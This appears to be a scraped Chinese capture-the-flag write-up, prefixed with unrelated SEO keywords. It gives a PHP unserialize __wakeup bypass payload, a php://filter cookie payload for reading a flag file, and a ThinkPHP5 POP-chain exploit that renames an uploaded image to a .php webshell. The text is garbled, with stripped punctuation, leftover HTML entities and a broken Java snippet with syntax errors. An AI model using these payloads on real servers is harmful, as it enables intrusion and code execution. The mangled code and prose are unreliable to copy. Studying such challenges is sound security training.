外国扁平化网站,平面设计网名,如何注册域名,怎么做微信网站推广1 unserialize3
当序列化字符串中属性个数大于实际属性个数时#xff0c;不会执行反序列化
外部如果是unserialize#xff08;#xff09;会调用wakeup#xff08;#xff09;方法#xff0c;输出“bad request”——构造url绕过wakeup
类型#xff1a;public class不会执行反序列化
外部如果是unserialize会调用wakeup方法输出“bad request”——构造url绕过wakeup
类型public class直接构造
O:4:xctf:1:{s:4:flag;s:3:111;} 改为O:4:xctf:2:{s:4:flag;s:3:111;} 2
“找出攻击者的IP”
http协议中
可疑POST了hacker.php,追踪hacker.phpurl解码确认是开了个后门
3
进入 就是base64解码
4 只出现一次的数字
class Solution{public int singleNumber(int[t] nums){int result 0;for (int num : nums)}{result resut ^num;}return result;}
} 5
fileinclude
PHP: php:// - Manual
Cookie: languagephp://filter/readconvert.base64-encode/resource/var/www/html/flag
upload3
注册登录对头像尝试文件上传但无法执行
进行目录扫描获取源码TP5框架
profile.php
cookie有个反序列化审完代码以后可以i使用(覆盖掉filename) if前两个判断不用改就可以绕过进ext_check()判断
然后赋值ext 接下来把 filename_tmp 移动到 filename时就可以把 png 移动为 php 文件了。 _get()与_call()作用上传图像访问被访问不存在时调用 upload_img
register.php registed 赋值为 falsechecker 赋值为我们的 $profile
从而调用其中的 index 方法再跳到 upload_img() 了。
?phpnamespace app\web\controller;
error_reporting(0);
class Profile
{public $checker;public $filename_tmp;public $filename;public $upload_menu;public $ext;public $img;public $except;public function __get($name){return $this-except[$name];}public function __call($name, $arguments){if($this-{$name}){$this-{$this-{$name}}($arguments);}}}class Register
{public $checker;public $registed;public function __destruct(){if(!$this-registed){$this-checker-index();}}}$profile new Profile();
$profile-except [index img];
$profile-img upload_img;
$profile-ext png;
$profile-filename_tmp ./upload/e0080b11355313cb26095733241d9209/0412c29576c708cf0155e8de242169b1.png;
$profile-filename ./upload/e0080b11355313cb26095733241d9209/0412c29576c708cf0155e8de242169b1.php;$register new Register();
$register-registed false;
$register-checker $profile;echo urlencode(base64_encode(serialize($register)));
ThinkPHP5.1反序列化漏洞利用-CSDN博客